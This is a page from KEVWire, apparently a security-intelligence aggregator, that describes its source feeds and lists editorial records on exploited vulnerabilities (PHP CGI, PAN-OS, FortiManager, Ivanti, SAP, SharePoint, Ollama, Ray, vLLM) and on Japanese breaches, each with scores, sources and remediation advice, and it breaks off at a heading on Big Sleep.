# KEVWire > Source-reviewed editorial records covering exploited vulnerabilities, notable disclosed breaches, and AI security research. Selective historical baseline reviewed on 2026-10-26, not complete or live worldwide monitoring. Dates describe cited disclosures, not necessarily incident occurrence. Known exploitation does not establish continuing attacks today, zero-day use, or attacker AI use. This sample is not a denominator for global or AI incident trends. Configured publication origin. This endpoint makes no indexing or coverage promises. ## Evidence and limitations KEV is known exploitation, not necessarily a zero-day. Federal due dates are not your SLA. EPSS scores are dated model estimates for the following 30 days; missing metrics stay unknown. Reporting is not independently primary-confirmed. AI infrastructure is not attacker AI attribution. Local user-supplied review marker only; not verified remediation, patching, or lack of exposure. ## Endpoints https://kevwire.com/api/intel https://kevwire.com/api/sources https://kevwire.com/api/health https://kevwire.com/api/trends https://kevwire.com/api/export.csv https://kevwire.com/api/export.json https://kevwire.com/feed.xml https://kevwire.com/api/schema.json https://kevwire.com/sitemap.xml The intelligence API is paginated (default 25, maximum 100); search addresses the whole retained corpus. ## Source status Editorial Evidence Review: editorial; 19 retained records. Last success: none. Selective historical baseline reviewed on 2026-10-26, not complete or live worldwide monitoring. Dates describe cited disclosures, not necessarily incident occurrence. Known exploitation does not establish continuing attacks today, zero-day use, or attacker AI use. This sample is not a denominator for global or AI incident trends. A manually reviewed, dated editorial sample, not a live feed. Source claims and dates remain tied to each record; no invented scores or trends. CISA Known Exploited Vulnerabilities: live; 1756 retained records. Last success: 2026-10-26T18:50:55.739Z. The full successfully validated KEV catalog, without a newest-record slice. Known exploitation is not necessarily a zero-day. KEV-only publication dates denote catalog additions, not initial disclosure. Due dates concern covered US federal agencies, not your SLA. The last complete catalog is retained for 30 days; oversized or incomplete replacements are rejected, not truncated. GitHub Public Security Advisories: cached; 308 retained records. Last success: 2026-10-26T18:40:59.678Z. GitHub-reviewed public advisories, sorted by update date; at most 3 cursor pages of 100 records per cycle, without authentication. Not the entire advisory database. GitHub review is upstream review, not local editorial review or proof of remediation. Withdrawn advisories are excluded. Retained union is bounded to 2,000 records updated within 180 days; public API rate limits can reduce coverage. JPCERT/CC Japan Advisories: live; 32 retained records. Last success: 2026-10-26T18:40:55.873Z. Current Japanese-language alerts and weekly report entries, with the exact article or weekly-report anchor. RSS usually supplies only a Japanese title and date. Titles matching JPCERT/CC's fixed patterns are shown in English via a deterministic glossary translation with the original Japanese retained; unmatched titles stay in Japanese rather than being guessed. No affected-version detail is invented. Japan denotes this advisory audience, not a scan or proof of exposure. Up to 500 records are retained for 365 days. Google Project Zero Research: live; 10 retained records. Last success: 2026-10-26T18:35:57.768Z. Security-research entries in the official Atom feed, including explicit AI-defense research when present; no archive crawling. The official feed is large but contains a bounded current entry list. Excerpts are not full articles. Ordinary fuzzing, automation, and exploit research are not classified as AI. Up to 250 records are retained for 730 days. Google Security Research: live; 47 retained records. Last success: 2026-10-26T18:35:57.804Z. At most the 50 entries supplied by the official Google Security RSS endpoint; security-topic filtering and conservative, source-linked AI classifications. Not all Google research or all AI defense. Product security and prompt-injection research do not establish attacker AI use. Excerpts are not independently reproduced findings. Up to 250 records are retained for 730 days. NVD Recently Published CVEs: live; 5738 retained records. Last success: 2026-10-26T18:21:53.012Z. Every CVE in the NVD, from any vendor worldwide, that any scorer (the vendor/CNA, NVD, or CISA) rates HIGH or CRITICAL, or that CISA's assessment reports as actively exploited. A 14-day backfill on first run, then every CVE modified since the last successful retrieval. Medium and low severity CVEs are not ingested; unscored CVEs appear once scored. The CNA (vendor) score is preferred over NVD's own when both exist. NVD publication is not evidence of exploitation. Up to 6,000 records are retained for 120 days. BleepingComputer Security Reporting: unavailable; 0 retained records. Last success: none. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. The Hacker News: live; 30 retained records. Last success: 2026-10-26T18:50:55.718Z. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. SecurityWeek: live; 6 retained records. Last success: 2026-10-26T18:50:55.667Z. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. Help Net Security: live; 1 retained records. Last success: 2026-10-26T18:45:58.962Z. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. The Record (Recorded Future News): cached; 1 retained records. Last success: 2026-10-26T14:15:57.066Z. Breach, vulnerability, and exploitation reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. Axios: live; 3 retained records. Last success: 2026-10-26T18:50:55.667Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so. TechCrunch Security: live; 3 retained records. Last success: 2026-10-26T18:50:55.649Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so. WIRED Security: live; 5 retained records. Last success: 2026-10-26T18:50:55.667Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so. The Verge (AI): live; 0 retained records. Last success: 2026-10-26T18:50:55.667Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so. 404 Media: live; 0 retained records. Last success: 2026-10-26T18:50:55.718Z. General technology and business news, filtered to security stories and incidents involving AI systems; everything else in the feed is skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. An AI role (acted on its own, used by attackers, flawed or attacked) is assigned only when the headline or excerpt says so. Have I Been Pwned: live; 121 retained records. Last success: 2026-10-26T18:25:57.041Z. Breaches loaded into Have I Been Pwned in the last year: breached organization, account count, exposed data types, breach and load dates, and the organization's disclosure when HIBP links one. HIBP covers breaches whose data it obtained and loaded; many breaches never appear there. Counts are accounts in the loaded data, not necessarily people. Unverified breaches are labeled as such; fabricated, spam-list, retired, and sensitive breaches are skipped. Up to 400 records are retained for 365 days. DataBreaches.net: live; 5 retained records. Last success: 2026-10-26T18:40:55.873Z. Breach and incident reporting selected from the current syndication feed, with exact article links. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. The HIPAA Journal: live; 7 retained records. Last success: 2026-10-26T18:25:57.095Z. Healthcare breach and security reporting selected from the current feed; compliance guides and opinion are skipped. Reporting, not independently primary-confirmed or locally reviewed. A record is marked as known exploitation only when the headline or excerpt explicitly reports exploitation. Headline filtering is not a complete census. No fabricated scores, losses, CVEs, or AI attribution. Retained for 90 days. Anthropic: live; 1 retained records. Last success: 2026-10-26T18:25:59.739Z. Anthropic news posts about misuse, threats, safety, and security, found through its sitemap (it publishes no feed); at most 8 new pages are read per run. The company's own disclosure about its systems or threats it observed: authoritative for what the company says, not independent verification. Only posts about misuse, threats, safety, or security are kept. Retained for 730 days. OpenAI: live; 61 retained records. Last success: 2026-10-26T18:25:55.704Z. OpenAI news posts about misuse, threats, safety, and security; product and business posts are skipped. The company's own disclosure about its systems or threats it observed: authoritative for what the company says, not independent verification. Only posts about misuse, threats, safety, or security are kept. Retained for 730 days. Google DeepMind: live; 1 retained records. Last success: 2026-10-26T18:25:55.704Z. Google DeepMind blog posts about misuse, threats, safety, and security; product and research-only posts are skipped. The company's own disclosure about its systems or threats it observed: authoritative for what the company says, not independent verification. Only posts about misuse, threats, safety, or security are kept. Retained for 730 days. Microsoft Security blog: live; 4 retained records. Last success: 2026-10-26T18:50:59.031Z. Microsoft Threat Intelligence and security posts: vulnerabilities, threat actors, and AI misuse it observed. The publishing company's own reporting about threats it observed; not independently confirmed here. Marketing posts are skipped. Up to 300 records are retained for 365 days. AI Incident Database: live; 49 retained records. Last success: 2026-10-26T18:46:59.993Z. Reports newly added to the AI Incident Database (Responsible AI Collaborative) that concern security or misuse (deepfakes, scams, influence operations, attacks on or by AI, unauthorized actions), each linking to the original report on its publisher's site. Vehicle crashes, lawsuits, bias, errors, and other non-security harms are skipped; non-English reports usually are too, because the filter reads English. Inclusion in the database means an editor judged it an AI incident; it is not an independent investigation. The linked report is the evidence. An AI role is assigned only when the report title states it. Up to 500 records are retained for 365 days. FIRST EPSS: live; 6700 retained records. Last success: 2026-10-26T13:40:30.430Z. Measured EPSS rows for real CVE identifiers already in this corpus; batches of at most 80 identifiers and under 1,900 CVE-query characters. Daily model scores estimate exploitation in the following 30 days, not organizational exposure. Missing CVEs receive no default score. Exact scoring dates and per-CVE/date API evidence are retained for 30 days; scores older than 2 days are stale even if a retrieval succeeds. CVE Program CVSS Enrichment: live; 140 retained records. Last success: 2026-10-26T18:41:03.388Z. At most 8 published per-CVE documents per cycle, one request at a time, for missing CVSS or an editorial CVE-API measurement not yet rechecked; no NVD polling. Targeted enrichment, not full CVE coverage. CNA CVSS is preferred; if absent, an explicitly labeled public ADP assessment can supply the actual metric and authoritative source update date. A document with no usable CVSS is not a metric-ingestion success. Unscored targets are deferred for 24 hours. Up to 4,000 enrichments are retained for 30 days. ## Retained records ### PHP CGI argument injection on Windows https://kevwire.com/record/CVE-2024-4577 PHP CGI argument injection on Windows (Jun 6, 2024). Windows character conversion can let unauthenticated requests inject PHP options and execute code in affected CGI configurations. DEVCORE verified Japanese CP932 among the affected locales; Talos later documented exploitation targeting organizations in Japan. CVSS 9.8 (version 3.1; evidence as of Jun 21, 2024; https://cveawg.mitre.org/api/cve/CVE-2024-4577). EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4577&date=2026-10-25). Sources: DEVCORE security advisory: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/ Cisco Talos: Unmasking the new persistent attacks on Japan: https://blog.talosintelligence.com/new-persistent-attacks-japan/ CISA KEV JSON: CVE-2024-4577: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4577&date=2026-10-25 CVE Program CNA php: https://cveawg.mitre.org/api/cve/CVE-2024-4577 DEVCORE's initial fixed releases were PHP 8.3.8, 8.2.20, and 8.1.29. Exposing the PHP executable through a CGI directory can also create exposure. Talos's March 6, 2025 report identifies TaoWu as a Cobalt Strike toolkit, not an AI system or proof of ransomware attribution. Action: Install a current supported PHP security release and assess CGI exposure against DEVCORE's advisory. Remove unnecessary PHP CGI mappings; its locale-specific rewrite rule is only a temporary mitigation. Kind: vulnerability; regions: Global, Japan; provenance: editorial. CISA added Jun 12, 2024; federal due date Jul 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PAN-OS GlobalProtect command injection https://kevwire.com/record/CVE-2024-3400 PAN-OS GlobalProtect command injection (Apr 12, 2024). An unauthenticated attacker can execute commands with root privileges on affected PAN-OS firewalls with GlobalProtect enabled. Volexity documented exploitation before disclosure, and JPCERT/CC received reports of affected organizations in Japan. CVSS 10.0 (version 4.0; evidence as of Oct 26, 2026; https://security.paloaltonetworks.com/CVE-2024-3400). EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-3400&date=2026-10-25). Sources: Palo Alto Networks security advisory: https://security.paloaltonetworks.com/CVE-2024-3400 Volexity zero-day investigation: https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/ JPCERT/CC alert JPCERT-AT-2024-0009: https://www.jpcert.or.jp/at/2024/at240009.html CISA KEV JSON: CVE-2024-3400: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-3400&date=2026-10-25 Exposure requires a GlobalProtect gateway or portal on affected PAN-OS 10.2, 11.0, or 11.1 releases. Disabling device telemetry is not an effective mitigation. The vendor excludes Cloud NGFW, Panorama, and Prisma Access from this vulnerability. Action: Use the vendor's fixed-version matrix and upgrade affected firewalls. Preserve a technical support file before upgrading a suspected compromised device, and follow the vendor's recovery guidance rather than assuming a patch removes an existing compromise. Kind: vulnerability; regions: Global, Japan; provenance: editorial. CISA added Apr 12, 2024; federal due date Apr 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### FortiManager missing authentication in device management https://kevwire.com/record/CVE-2024-47575 FortiManager missing authentication in device management (Oct 23, 2024). Missing authentication in FortiManager's fgfmd daemon permits remote code or command execution. Fortinet confirms exploitation; Mandiant documented pre-disclosure theft of managed-device configuration data. CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://fortiguard.fortinet.com/psirt/FG-IR-24-423). EPSS 94.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-47575&date=2026-10-25). Sources: Fortinet PSIRT FG-IR-24-423: https://fortiguard.fortinet.com/psirt/FG-IR-24-423 Mandiant FortiManager zero-day investigation: https://cloud.google.com/blog/topics/threat-intelligence/fortimanager-zero-day-exploitation-cve-2024-47575 CISA KEV JSON: CVE-2024-47575: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-47575&date=2026-10-25 Mandiant observed exploitation as early as June 27, 2024, but did not establish follow-on lateral movement in its published investigation. Fortinet warns that unauthorized-device registration logs on patched systems are not, by themselves, proof of successful compromise. Action: Apply the appropriate Fortinet fixed release and restrict device-management access. Investigate exposed systems and follow Fortinet's recovery instructions, including changing credentials and sensitive secrets of managed devices when compromise is suspected. Kind: vulnerability; regions: Global; provenance: editorial. CISA added Oct 23, 2024; federal due date Nov 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ivanti Connect Secure unauthenticated buffer overflow https://kevwire.com/record/CVE-2025-0282 Ivanti Connect Secure unauthenticated buffer overflow (Jan 8, 2025). A stack-based buffer overflow affects Ivanti Connect Secure, Policy Secure, and Neurons for ZTA gateways. Mandiant identified zero-day exploitation of Connect Secure beginning in mid-December 2024; this does not establish exploitation of every affected product. CVSS 9.0 (version 3.1; evidence as of Jan 8, 2025; https://cveawg.mitre.org/api/cve/CVE-2025-0282). EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-0282&date=2026-10-25). Sources: Mandiant Ivanti zero-day investigation: https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day CISA mitigation instructions for CVE-2025-0282: https://www.cisa.gov/cisa-mitigation-instructions-CVE-2025-0282 CISA KEV JSON: CVE-2025-0282: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-0282&date=2026-10-25 CVE Program CNA ivanti: https://cveawg.mitre.org/api/cve/CVE-2025-0282 Ivanti's CNA identifies Connect Secure 22.7R2.5 as unaffected by this CVE. CISA revised its recovery instructions on March 28, 2025 after identifying RESURGE malware. A clean integrity-check result alone is not proof that an appliance was never compromised. Action: Follow CISA's updated hunt, reset, patch, and recovery instructions. Use an external known-clean image for cloud or virtual factory resets, investigate connected systems, and revoke exposed credentials, keys, and certificates when compromise is found. Kind: vulnerability; regions: Global; provenance: editorial. CISA added Jan 8, 2025; federal due date Jan 15, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SAP NetWeaver Visual Composer malicious file upload https://kevwire.com/record/CVE-2025-31324 SAP NetWeaver Visual Composer malicious file upload (Apr 24, 2025). Missing authorization on Visual Composer's Metadata Uploader allows unauthenticated upload of malicious executable files. SAP's CNA identifies VCFRAMEWORK 7.50; CISA lists known exploitation, and Onapsis reports pre-patch compromises. CVSS 10.0 (version 3.1; evidence as of Apr 24, 2025; https://cveawg.mitre.org/api/cve/CVE-2025-31324). EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31324&date=2026-10-25). Sources: Onapsis investigation of CVE-2025-31324 and CVE-2025-42999: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/ CISA KEV JSON: CVE-2025-31324: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31324&date=2026-10-25 CVE Program CNA sap: https://cveawg.mitre.org/api/cve/CVE-2025-31324 The issue is specific to the Visual Composer component, not every SAP installation. Onapsis's combined investigation also describes the distinct deserialization CVE-2025-42999 and advises applying SAP Security Note 3604119 in addition to the initial CVE-2025-31324 correction. Action: Apply SAP's applicable security corrections and consult the combined Onapsis guidance for Notes 3594142 and 3604119. Assess compromise and persistence; updating software does not remove an already installed web shell. Kind: vulnerability; regions: Global; provenance: editorial. CISA added Apr 29, 2025; federal due date May 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### On-premises SharePoint untrusted deserialization https://kevwire.com/record/CVE-2025-53770 On-premises SharePoint untrusted deserialization (Jul 20, 2025). Untrusted deserialization permits remote code execution in affected on-premises SharePoint Server deployments. CISA lists known exploitation, and Microsoft documents related attack chains, stolen machine keys, and ransomware deployment. CVSS 9.8 (version 3.1; evidence as of Feb 13, 2026; https://cveawg.mitre.org/api/cve/CVE-2025-53770). EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-53770&date=2026-10-25). Sources: Microsoft Threat Intelligence SharePoint investigation: https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/ CISA KEV JSON: CVE-2025-53770: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-53770&date=2026-10-25 CVE Program CNA microsoft: https://cveawg.mitre.org/api/cve/CVE-2025-53770 SharePoint Online is not affected by the on-premises vulnerabilities in Microsoft's investigation. CVE-2025-53770 is a patch bypass for CVE-2025-49704 and can be used in a chain; those identifiers describe distinct vulnerabilities, not aliases for this CVE. Action: Apply Microsoft's applicable SharePoint updates, enable and correctly configure AMSI, rotate ASP.NET machine keys, restart IIS, and perform incident response. Use the vendor's full guidance for prerequisites and compromise assessment. Kind: vulnerability; regions: Global; provenance: editorial. CISA added Jul 20, 2025; federal due date Jul 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ollama model-digest path traversal https://kevwire.com/record/CVE-2024-37032 Ollama model-digest path traversal (May 31, 2024). Ollama before 0.1.34 failed to validate model digests before constructing file paths. Wiz demonstrated arbitrary file read and overwrite, leading to code execution in its tested Docker deployment; it did not establish a criminal exploitation campaign. CVSS 8.8 (version 3.1; evidence as of Mar 27, 2025; https://cveawg.mitre.org/api/cve/CVE-2024-37032). EPSS 89.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-37032&date=2026-10-25). AI classification: infrastructure; evidence: confirmed. The affected product serves AI models. This classification describes the vulnerable infrastructure, not proof that an attacker used AI. Sources: Wiz Probllama research disclosure: https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-37032&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2024-37032 The attack requires access to the Ollama API. Wiz distinguishes localhost-bound Linux installations from exposed Docker deployments and recommends protective authentication when network access is needed. Action: Update Ollama to a current release containing the 0.1.34 correction. Do not expose its API to untrusted networks without protective authentication and network controls, as recommended by Wiz. Kind: vulnerability; regions: Global; provenance: editorial. KEV evidence not available. ### Ray Jobs API exposure with disputed CVE status https://kevwire.com/record/CVE-2023-48022 Ray Jobs API exposure with disputed CVE status (Nov 28, 2023). Ray's Jobs API can execute submitted code on a cluster reachable by untrusted clients. Oligo reports malicious use of exposed clusters; Anyscale disputes the CVE because Ray's security boundary requires a controlled network environment. CVSS 9.8 (version 3.1; evidence as of Jun 12, 2024; https://cveawg.mitre.org/api/cve/CVE-2023-48022). EPSS 83.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-48022&date=2026-10-25). AI classification: infrastructure; evidence: confirmed. Ray supports distributed AI workloads. Oligo's malicious-use report is about attacks on that infrastructure, not evidence of AI-assisted attackers. Sources: Oligo ShadowRay investigation: https://www.oligo.security/blog/shadowray-attack-ai-workloads-actively-exploited-in-the-wild Anyscale update on Ray CVEs: https://www.anyscale.com/blog/update-on-ray-cves-cve-2023-6019-cve-2023-6020-cve-2023-6021-cve-2023-48022-cve-2023-48023 Ray token authentication documentation: https://docs.ray.io/en/latest/ray-security/token-auth.html FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-48022&date=2026-10-25 CVE Program ADP assessment CISA-ADP: https://cveawg.mitre.org/api/cve/CVE-2023-48022 The report concerns open-source Ray, not Anyscale's managed SaaS. The current CVE retains its disputed tag and notes token authentication from Ray 2.52.0. Current Ray documentation still requires encrypted network access; a token is not a substitute for isolation. Action: Keep Ray APIs within a trusted network and review exposed clusters for malicious jobs. Configure token authentication and encrypted connections using Ray's current guidance; do not treat the historical dispute as evidence that public exposure is safe. Kind: vulnerability; regions: Global; provenance: editorial. KEV evidence not available. ### vLLM V0 multi-node pickle deserialization https://kevwire.com/record/CVE-2025-30165 vLLM V0 multi-node pickle deserialization (May 6, 2025). vLLM's V0 engine deserializes ZeroMQ messages with pickle in cross-host tensor-parallel deployments. A compromised primary host or a redirected connection can deliver code-executing data to secondary hosts; the V1 engine is unaffected. CVSS 8.0 (version 3.1; evidence as of Oct 26, 2026; https://api.github.com/repos/vllm-project/vllm/security-advisories/GHSA-9pcc-gvx5-r5wm). EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30165&date=2026-10-25). AI classification: infrastructure; evidence: confirmed. The affected software serves large language models. The source does not establish attacker AI use or exploitation in a deployed criminal campaign. Sources: vLLM maintainer security advisory: https://github.com/vllm-project/vllm/security/advisories/GHSA-9pcc-gvx5-r5wm GitHub API for the vLLM maintainer advisory: https://api.github.com/repos/vllm-project/vllm/security-advisories/GHSA-9pcc-gvx5-r5wm FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30165&date=2026-10-25 The maintainer says V0 has been off by default since 0.8.0. The advisory lists 0.10.0 as patched, but its narrative also says no invasive V0 fix is planned. This unresolved version-guidance inconsistency is not converted into a universal upgrade guarantee. Action: Use the unaffected V1 engine where applicable and restrict multi-node communications to a secure network. Consult the maintainer advisory for version guidance; changing model-weight formats does not establish a fix for this IPC vulnerability. Kind: vulnerability; regions: Global; provenance: editorial. KEV evidence not available. ### Asahi ransomware disruption and exposure assessment https://kevwire.com/record/asahi-japan-ransomware-2025 Asahi ransomware disruption and exposure assessment (Sep 29, 2025). Asahi confirms ransomware on Japan-managed systems during its September 29, 2025 disruption and theft of some company-PC data. Its July 17, 2026 notice distinguishes confirmed leakage from broader potential personal-information exposure. Sources: Asahi initial cyberattack notice: https://www.asahigroup-holdings.com/newsroom/detail/20250929-0202.html Asahi investigation and recurrence-prevention report: https://www.asahigroup-holdings.com/en/newsroom/detail/20260218-0201.html Asahi revised potential-exposure notice: https://www.asahigroup-holdings.com/en/newsroom/detail/20260717-0201.html Asahi says an attacker entered through network equipment, but the exact entry time could not be determined. The July 17, 2026 investigation found no evidence of personal information being transferred from data-center servers; possible exposure was still included in its notification scope. The cited notices do not name Qilin or establish an arrest. Action: Follow Asahi's affected-party notifications and official notices. Its February 18, 2026 report describes recovery and security changes; it is not a patch advisory or a universal remediation mandate for other organizations. Kind: breach; regions: Japan; provenance: editorial. KEV evidence not available. ### DMM Bitcoin theft attributed to North Korean actors https://kevwire.com/record/dmm-bitcoin-tradertraitor-2024 DMM Bitcoin theft attributed to North Korean actors (Dec 23, 2024). The FBI, DC3, and Japan's NPA attribute DMM's May 2024 theft of 4,502.9 BTC to TraderTraitor actors. Their statement values the stolen funds at $308 million at the time of the attack, not at a current Bitcoin price. Sources: FBI, DC3, and NPA joint DMM Bitcoin statement: https://www.fbi.gov/news/press-releases/fbi-dc3-and-npa-identification-of-north-korean-cyber-actors-tracked-as-tradertraitor-responsible-for-theft-of-308-million-from-bitcoindmmcom The agencies describe a Ginco employee targeted with a malicious Python recruitment test and subsequent session-cookie impersonation. They assess that attackers likely manipulated a legitimate DMM transaction request; that step is not presented as a definitively proven signing mechanism. Action: Consult the joint statement for the documented recruitment lure and session-abuse sequence. It does not prescribe a specific DMM patch or certify a universal wallet-signing remediation. Kind: breach; regions: Japan; provenance: editorial. KEV evidence not available. ### Casio ransomware and internal-document leakage https://kevwire.com/record/casio-ransomware-2024 Casio ransomware and internal-document leakage (Oct 8, 2024). Casio confirms an October 5, 2024 ransomware intrusion and leakage of internal documents containing employee, partner, and some customer information. Its investigation says CASIO ID and ClassPad.net ran on separate systems and were unaffected. Sources: Casio initial unauthorized-access notice: https://world.casio.com/news/2024/1008-incident/ Casio ransomware investigation results: https://world.casio.com/news/2025/0107-incident/ The January 7, 2025 report identifies deficiencies in phishing defenses and global network security, but does not establish AI use or a precise affiliate-to-headquarters attack path. It found no evidence of theft from the customer database and says leaked personal information did not include credit-card information. Action: Use Casio's official notifications and inquiry channel if affected. Be cautious of unsolicited follow-up emails and do not redistribute leaked personal information; the company describes security review and employee training as recurrence-prevention measures. Kind: breach; regions: Japan; provenance: editorial. KEV evidence not available. ### KADOKAWA and Niconico ransomware disruption https://kevwire.com/record/kadokawa-niconico-ransomware-2024 KADOKAWA and Niconico ransomware disruption (Jun 14, 2024). KADOKAWA confirms a June 8, 2024 ransomware attack affecting its data center and Niconico-related services. Its August 5, 2024 notice confirms leakage involving employees, business partners, and educational-institute stakeholders. Sources: KADOKAWA second report on system failure: https://group.kadokawa.co.jp/information/media-download/1337/a0a8256c542b707e/ KADOKAWA notice concerning information leakage: https://group.kadokawa.co.jp/information/media-download/1355/9d3bd5d77ffe0c4d/ The company presumes stolen employee credentials, possibly from phishing, were involved, while saying the exact route and method were unknown. It did not confirm leakage of Niconico login credentials. The reviewed corporate notices do not identify a ransomware gang or prove hypervisor power-control claims. Action: Follow official individual notifications and dedicated helpdesks. Treat suspicious follow-up messages cautiously and avoid redistributing exposed personal information, as requested in KADOKAWA's notice. Kind: breach; regions: Japan; provenance: editorial. KEV evidence not available. ### JAXA discloses data leakage from a 2023 intrusion https://kevwire.com/record/jaxa-network-data-leakage-2023 JAXA discloses data leakage from a 2023 intrusion (Jul 5, 2024). JAXA's July 5, 2024 notice confirms leakage of collaboration information and personal information from an intrusion detected in October 2023. It describes VPN-device compromise, stolen accounts, and unauthorized Microsoft 365 access. Sources: JAXA official unauthorized-access and information-leakage notice: https://www.jaxa.jp/press/2024/07/20240705-2_j.html JAXA considers exploitation of a previously disclosed VPN vulnerability likely, without naming a CVE. It separately reports 2024 intrusions, including zero-day attacks, with no information leakage confirmed from those events. Sensitive rocket and satellite operations information was not handled on the affected systems. Action: Consult JAXA's official notice for affected-party communications and response context. It describes faster vulnerability response, stronger monitoring, and impersonation defenses, but does not provide a specific CVE patch or universal VPN-replacement mandate. Kind: breach; regions: Japan; provenance: editorial. KEV evidence not available. ### Big Sleep finds a pre-release SQLite memory-safety flaw 